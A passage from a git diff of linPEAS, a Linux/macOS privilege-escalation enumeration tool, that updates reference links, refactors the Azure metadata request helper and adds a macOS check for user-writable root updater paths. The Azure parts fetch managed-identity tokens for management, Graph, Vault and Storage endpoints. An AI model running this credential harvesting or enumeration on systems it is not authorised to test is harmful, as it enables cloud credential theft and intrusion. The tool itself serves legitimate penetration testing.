"T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - echo - print_3title "Storage token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + print_azure_standard_identity_tokens fi echo "" fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh index c8a413b7..7b90e036 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/8_Azure_VM.sh @@ -1,12 +1,12 @@ # Title: Cloud - Azure VM # ID: CL_Azure_VM # Author: Carlos Polop -# Last Update: 22-08-2023 +# Last Update: 31-07-2026 # Description: Azure VM Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 -# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title +# Functions Used: check_az_vm, exec_with_jq, print_2title, print_3title, set_azure_request_command # Global Variables: $is_az_vm # Initial Functions: check_az_vm # Generated Global Variables: $API_VERSION, $HEADER, $az_req, $URL, $_az_vm_token_url, $_az_vm_instance_json, $_az_vm_resource_id, $_az_vm_mgmt_token_json, $_az_vm_mgmt_token, $_az_vm_arm_json, $_az_vm_uai_id, $_az_vm_uai_client_id, $_az_vm_uai_principal_id, $_az_vm_wire_data, $_az_vm_wire_client_id, $_az_vm_wire_res_id, $_az_vm_wire_header, $_az_vm_wire_url @@ -119,14 +119,7 @@ if [ "$is_az_vm" = "Yes" ]; then URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions - az_req="" - if [ "$(command -v curl || echo -n '')" ]; then - az_req="curl -s -f -L -H '$HEADER'" - elif [ "$(command -v wget || echo -n '')" ]; then - az_req="wget -q -O - --header '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi + set_azure_request_command if [ "$az_req" ]; then print_3title "Instance details" "T1552.005,T1580" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh index bcb66f13..60a1d63a 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/3_cloud/9_Azure_app_service.sh @@ -1,12 +1,12 @@ # Title: Cloud - Azure App Service # ID: CL_Azure_app_service # Author: Carlos Polop -# Last Update: 22-08-2023 +# Last Update: 31-07-2026 # Description: Azure App Service Enumeration # License: GNU GPL # Version: 1.0 # Mitre: T1552.005,T1580 -# Functions Used: check_az_app, exec_with_jq, print_2title, print_3title +# Functions Used: check_az_app, print_2title, set_azure_request_command, print_azure_standard_identity_tokens # Global Variables: $is_az_app, # Initial Functions: check_az_app # Generated Global Variables: $API_VERSION, $HEADER, $az_req @@ -20,27 +20,10 @@ if [ "$is_az_app" = "Yes" ]; then print_2title "Azure App Service Enumeration" "T1552.005,T1580" HEADER="X-IDENTITY-HEADER:$IDENTITY_HEADER" - az_req="" - if [ "$(command -v curl || echo -n '')" ]; then - az_req="curl -s -f -L -H '$HEADER'" - elif [ "$(command -v wget || echo -n '')" ]; then - az_req="wget -q -O - --header '$HEADER'" - else - echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" - fi + set_azure_request_command if [ "$az_req" ]; then - print_3title "Management token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - echo - print_3title "Graph token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" - echo - print_3title "Vault token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - echo - print_3title "Storage token" "T1552.005,T1580" - exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + print_azure_standard_identity_tokens fi echo "" fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh index a5de8604..46150a77 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/10_Services.sh @@ -1,12 +1,12 @@ # Title: Processes & Cron & Services & Timers - Services and Service Files # ID: PR_Services # Author: Carlos Polop -# Last Update: 2024-03-19 -# Description: Services and service files analysis with privilege escalation vectors +# Last Update: 16-09-2026 +# Description: Services and service files analysis with privilege escalation vectors, including replaceable root-service executables. # License: GNU GPL -# Version: 1.2 -# Mitre: T1543.002,T1007 -# Functions Used: echo_not_found, print_2title, print_info, print_3title +# Version: 1.3 +# Mitre: T1543.002,T1574.010,T1007 +# Functions Used: checkSystemdWritableExecPaths, echo_not_found, print_2title, print_info, print_3title # Global Variables: $EXTRA_CHECKS, $IAMROOT, $SEARCH_IN_FOLDER, $TIMEOUT, $WRITABLESYSTEMDPATH # Initial Functions: # Generated Global Variables: $service_unit, $service_path, $service_content, $finding, $findings, $service_file, $exec_path, $exec_paths, $service, $line, $target_file, $target_exec, $relpath1, $relpath2 @@ -15,7 +15,9 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Services and Service Files" "T1543.002,T1007" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#services" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/process-enumeration-and-service-paths.html#follow-the-service-execution-chain" + + checkSystemdWritableExecPaths # Function to check service content for privilege escalation vectors check_service_content() { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh index 66890586..89ab4ce7 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Systemd.sh @@ -24,7 +24,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Systemd Information" "T1543.002" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#systemd-path---relative-paths" # Function to check if systemctl is available check_systemctl() { @@ -163,7 +163,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then echo "" print_2title "Systemd PATH" "T1543.002" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#systemd-path---relative-paths" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#systemd-path---relative-paths" if check_systemctl; then systemctl show-environment 2>/dev/null | grep "PATH" | diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh index 12c08751..1a6695a8 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/12_Socket_files.sh @@ -20,7 +20,7 @@ if ! [ "$IAMROOT" ]; then print_2title "Analyzing .socket files" "T1559" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets" + print_info "https://book.hacktricks.wiki/en/linux-hardening/network-information/local-network-and-socket-triage.html#unix-socket-interaction-and-command-injection" # Function to check if path is relative is_relative_path() { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh index 0c8b33ab..c7dd1009 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Unix_sockets_listening.sh @@ -21,7 +21,7 @@ if ! [ "$IAMROOT" ]; then if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Unix Sockets Analysis" "T1571,T1049" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sockets" + print_info "https://book.hacktricks.wiki/en/linux-hardening/network-information/local-network-and-socket-triage.html#unix-socket-interaction-and-command-injection" # Function to get socket permissions diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh index 631dd9c3..4ca35c7a 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_DBus_analysis.sh @@ -21,7 +21,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "D-Bus Analysis" "T1559.001" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#d-bus" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/d-bus-enumeration-and-command-injection-privilege-escalation.html" # Function to check for dangerous methods diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh index 419c8289..289cef82 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_Crontab_UI_misconfig.sh @@ -18,7 +18,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Crontab UI (root) misconfiguration checks" "T1053.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/cron-and-systemd-timers.html#enumerate-schedules" # Collect candidate services referencing crontab-ui candidates="" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/18_Macos_updater_toctou.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/18_Macos_updater_toctou.sh new file mode 100644 index 00000000..e431def9 --- /dev/null +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/18_Macos_updater_toctou.sh @@ -0,0 +1,156 @@ +# Title: Processes & Cron & Services & Timers - macOS privileged updater TOCTOU candidates +# ID: PR_Macos_updater_toctou +# Author: HT Bot +# Last Update: 26-09-2026 +# Description: Identify root LaunchDaemon configurations and running updater processes that reference an attacker-writable staging, cache, download, or temporary path. This is a passive heuristic for pathname-based updater TOCTOU risks, not confirmation that a race is exploitable. +# License: GNU GPL +# Version: 1.1 +# Mitre: T1574 +# Functions Used: print_3title, print_info +# Global Variables: $E, $IAMROOT, $MACPEAS, $ROOT_FOLDER, $SEARCH_IN_FOLDER, $SED_RED_YELLOW +# Initial Functions: +# Generated Global Variables: $mupt_candidate, $mupt_details, $mupt_dir, $mupt_dir_mode, $mupt_job, $mupt_launchdaemons_dir, $mupt_lower_path, $mupt_path, $mupt_path_owner, $mupt_pid, $mupt_plist, $mupt_plist_data, $mupt_plist_owner, $mupt_records, $mupt_source, $mupt_user, $mupt_user_id +# Fat linpeas: 0 +# Small linpeas: 0 + + +if [ "$MACPEAS" ] && ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then + # Return absolute paths found in a defaults/plist dump. Quoted paths retain + # spaces. The remaining expressions cover unquoted defaults output. + mupt_paths_from_plist() { + printf '%s\n' "$1" | + sed -n \ + -e 's/^[[:space:]]*"\(file:\/\/\/[^"?]*\)"[,;]*[[:space:]]*$/\1/p' \ + -e 's/.*"\(file:\/\/\/[^"?]*\)".*/\1/p' \ + -e 's/^[[:space:]]*"\(\/[^"?]*\)"[,;]*[[:space:]]*$/\1/p' \ + -e 's/.*"\(\/[^"?]*\)".*/\1/p' \ + -e 's/.*=>[[:space:]]*\(\/[^,;)]*\).*/\1/p' \ + -e 's/.*=[[:space:]]*\(\/[^,;)]*\).*/\1/p' \ + -e 's/^[[:space:]]*\(\/[^,;)]*\)[,;]*[[:space:]]*$/\1/p' | + sort -u + } + + # Print one record when the configured update path, its payload, or one of + # its existing parent components is controlled by the current user. Sticky + # directories are not enough on their own to replace another user's entry, + # but a directly writable/user-owned payload remains attacker-controlled. + mupt_check_path() { + mupt_job="$1" + mupt_source="$2" + mupt_path="$3" + + case "$mupt_path" in + file://*) mupt_path="${mupt_path#file://}" ;; + esac + case "$mupt_path" in + /*) ;; + *) return 0 ;; + esac + + mupt_lower_path="$(printf '%s' "$mupt_path" | tr '[:upper:]' '[:lower:]')" + case "$mupt_lower_path" in + *cache*|*download*|*electron*|*shipit*|*squirrel*|*stag*|*temp*|*tmp*|*updat*) ;; + *) return 0 ;; + esac + + mupt_user_id="$(id -u 2>/dev/null)" + if [ -e "$mupt_path" ]; then + mupt_path_owner="$(stat -f '%u' "$mupt_path" 2>/dev/null)" + if [ -w "$mupt_path" ] || { [ -n "$mupt_user_id" ] && [ "$mupt_path_owner" = "$mupt_user_id" ]; }; then + printf '%s|%s|%s|%s\n' "$mupt_job" "$mupt_source" "$mupt_path" "$mupt_path" + return 0 + fi + fi + + if [ -d "$mupt_path" ]; then + mupt_dir="$mupt_path" + else + mupt_dir="${mupt_path%/*}" + [ -n "$mupt_dir" ] || mupt_dir="/" + while [ ! -d "$mupt_dir" ] && [ "$mupt_dir" != "/" ]; do + mupt_dir="${mupt_dir%/*}" + [ -n "$mupt_dir" ] || mupt_dir="/" + done + fi + + while [ -d "$mupt_dir" ]; do + if [ -w "$mupt_dir" ] && [ -x "$mupt_dir" ]; then + mupt_dir_mode="$(stat -f '%Sp' "$mupt_dir" 2>/dev/null)" + case "$mupt_dir_mode" in + *t|*T) ;; + *) + printf '%s|%s|%s|%s\n' "$mupt_job" "$mupt_source" "$mupt_path" "$mupt_dir" + return 0 + ;; + esac + fi + [ "$mupt_dir" = "/" ] && break + mupt_dir="${mupt_dir%/*}" + [ -n "$mupt_dir" ] || mupt_dir="/" + done + } + + mupt_launchdaemons_dir="${ROOT_FOLDER:-}/Library/LaunchDaemons" + # Keep the collector body outside command-substitution syntax. macOS still + # ships Bash 3.2, whose parser can miscount parentheses inside quoted EREs + # when they appear directly in a multiline $(...) body. + mupt_collect_records() { + # System LaunchDaemons run as root unless UserName says otherwise. Ignore + # user-writable plists because existing launchd checks already report that + # stronger, direct privilege-escalation condition. + for mupt_plist in "$mupt_launchdaemons_dir"/*.plist; do + [ -f "$mupt_plist" ] || continue + [ -w "$mupt_plist" ] && continue + mupt_plist_owner="$(stat -f '%u' "$mupt_plist" 2>/dev/null)" + [ "$mupt_plist_owner" = "0" ] || continue + + mupt_plist_data="$(defaults read "$mupt_plist" 2>/dev/null)" + [ -n "$mupt_plist_data" ] || continue + printf '%s\n%s\n' "$mupt_plist" "$mupt_plist_data" | + grep -Eiq '(electron|install|patch|shipit|squirrel|updat(e|er)|upgrade)' || continue + + mupt_user="$(defaults read "$mupt_plist" UserName 2>/dev/null | head -n 1)" + case "$mupt_user" in + ""|0|root) ;; + *) continue ;; + esac + + mupt_paths_from_plist "$mupt_plist_data" | while IFS= read -r mupt_path; do + [ -n "$mupt_path" ] || continue + mupt_check_path "$mupt_plist" "root LaunchDaemon metadata" "$mupt_path" + done + done + + # A privileged helper or an updater inside an application bundle may only + # expose its staging path while running. Inspect only root updater commands; + # do not scan every writable temporary directory on the host and never eval + # process arguments. + # pgrep cannot emit the user, PID, and full command together portably. + # shellcheck disable=SC2009 + ps -axo user=,pid=,command= 2>/dev/null | + grep -Ei '^[[:space:]]*root[[:space:]]+[0-9]+[[:space:]].*(electron|install|patch|shipit|squirrel|updat(e|er)|upgrade)' | + while IFS= read -r mupt_candidate; do + mupt_pid="$(printf '%s\n' "$mupt_candidate" | awk '{print $2}')" + printf '%s\n' "$mupt_candidate" | + grep -Eo '/[^()[:space:]",;]+' 2>/dev/null | + sort -u | + while IFS= read -r mupt_path; do + mupt_check_path "PID $mupt_pid" "root updater command line" "$mupt_path" + done + done + } + + mupt_records="$(mupt_collect_records | sort -u)" + + if [ -n "$mupt_records" ]; then + print_3title "Potential privileged updater TOCTOU paths" "T1574" + print_info "https://blog.doyensec.com/2026/02/16/electron-safe-updater.html" + print_info "Root updater candidates reference paths controlled by the current user. Manually verify whether an update is checked by pathname and later reopened for privileged installation instead of using the same descriptor or another immutable handle." + printf '%s\n' "$mupt_records" | while IFS='|' read -r mupt_job mupt_source mupt_path mupt_dir; do + mupt_details="$mupt_job: $mupt_path ($mupt_source; writable path or component: $mupt_dir)" + printf '%s\n' "$mupt_details" | sed -"${E}" "s,.*,${SED_RED_YELLOW}," + ls -ld "$mupt_path" "$mupt_dir" 2>/dev/null + done + echo "" + fi +fi diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh index d267a892..27e04a81 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh @@ -18,7 +18,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$NOUSEPS" ]; then printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC fi - print_info "Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes" + print_info "Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/process-enumeration-and-service-paths.html#map-processes-and-ownership" if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh index 608cf422..0bd889c9 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh @@ -15,7 +15,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Processes with credentials in memory (root req)" "T1003.007" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#credentials-from-process-memory" + print_info "https://book.hacktricks.wiki/en/linux-hardening/linux-basics/linux-privilege-escalation/index.html#credentials-from-process-memory" # Common credential-storing processes cred_processes="gdm-password gnome-keyring-daemon lightdm vsftpd apache2 sshd: mysql postgres redis-server mongod memcached elasticsearch jenkins tomcat nginx php-fpm supervisord vncserver xrdp teamviewer" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh index 1bce4a02..27313584 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh @@ -16,7 +16,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$NOUSEPS" ]; then print_2title "Binary processes permissions (non 'root root' and not belonging to current user)" "T1574,T1554" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/process-enumeration-and-service-paths.html#map-processes-and-ownership" # Get list of writable binaries binW="" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh index 9ff505d9..cbf05c89 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh @@ -17,7 +17,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then print_2title "Different processes executed during 1 min (interesting is low number of repetitions)" "T1057" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#frequent-cron-jobs" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/cron-and-systemd-timers.html#observe-short-lived-work" temp_file=$(mktemp) if [ "$(ps -e -o user,command 2>/dev/null)" ]; then for i in $(seq 1 1210); do diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh index c8e2cbfa..3368b045 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Cron_jobs.sh @@ -15,7 +15,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Check for vulnerable cron jobs" "T1053.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/cron-and-systemd-timers.html#enumerate-schedules" print_3title "Cron jobs list" "T1053.003" command -v crontab 2>/dev/null || echo_not_found "crontab" @@ -262,7 +262,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then #fi else print_2title "Cron jobs" "T1053.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#scheduledcron-jobs" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/cron-and-systemd-timers.html#enumerate-schedules" find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \; fi echo "" diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh index 5aec9abe..73c079f3 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_System_timers.sh @@ -15,7 +15,7 @@ if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "System timers" "T1053.003" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#timers" + print_info "https://book.hacktricks.wiki/en/linux-hardening/processes-crontab-systemd-dbus/cron-and-systemd-timers.html#enumerate-schedules" # Function to check timer content for privilege escalation vectors check_timer_content() { diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh index 87c82567..06536b5c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/11_Internet_access.sh @@ -9,7 +9,7 @@ # Functions Used: check_dns, check_icmp, check_tcp_443, check_tcp_443_bin, check_tcp_80, print_2title, print_3title, print_info, check_external_hostname # Global Variables: $E # Initial Functions: -# Generated Global Variables: $pid4, $pid2, $pid1, $pid3, $tcp443_bin_status, $NOT_CHECK_EXTERNAL_HOSTNAME, $TIMEOUT_INTERNET_SECONDS +# Generated Global Variables: $pid4, $pid2, $pid1, $pid3, $tcp443_bin_status, $TIMEOUT_INTERNET_SECONDS # Fat linpeas: 0 # Small linpeas: 0 diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh index 87734fab..ac475c7c 100644 --- a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh +++ b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/5_network_information/4_Open_ports.sh @@ -108,7 +108,7 @@ parse_proc_net_ports() { # Function to get open ports information get_open_ports() { print_2title "Active Ports" "T1049" - print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#open-ports" + print_info "https://book.hacktricks.wiki/en/linux-hardening/network-information/local-network-and-socket-triage.html#loopback-and-local-service-enumeration" # Try standard tools first if command -v netstat >/dev/null 2>&1; then diff --git a/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh b/Offensive Security & Penetration Testing/peass-ng--PEASS-ng/linPEAS/builder/linpeas_parts/6_users_information/10_Pkexec.sh index 1180824c..2fb3bd02 100644 --- 